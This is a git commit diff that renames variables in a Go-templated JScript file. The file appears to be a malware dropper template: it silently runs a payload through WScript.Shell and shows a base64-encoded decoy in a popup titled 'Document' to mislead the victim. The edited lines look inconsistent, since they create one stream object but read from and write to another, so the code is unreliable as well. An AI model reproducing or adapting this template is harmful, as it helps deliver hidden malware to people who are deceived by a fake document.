refractored JScript template slightly

main
Johannes Bülow 2023-08-10 22:00:25 +02:00
parent b3b35f6011
commit 05a79976af
Signed by untrusted user who does not match committer: jmb
GPG Key ID: B56971CF7B8F83A6
1 changed files with 5 additions and 5 deletions

View File

@ -9,13 +9,13 @@ var shell = new ActiveXObject("WScript.Shell");
shell.Run(bytes, 0, false);
{{if len .EncodedDecoy}}
var stream2 = new ActiveXObject("ADODB.Stream");
stream.Type = 1;
var s2 = new ActiveXObject("ADODB.Stream");
s2.Type = 1;
stream.Write(window.atob({{.EncodedDecoy}}));
s2.Write(window.atob({{.EncodedDecoy}}));
var bytes = stream.Read();
shell.Popup(bytes, 0, "Document", 0x40);
var b2 = stream.Read();
shell.Popup(b2, 0, "Document", 0x40);
{{end}}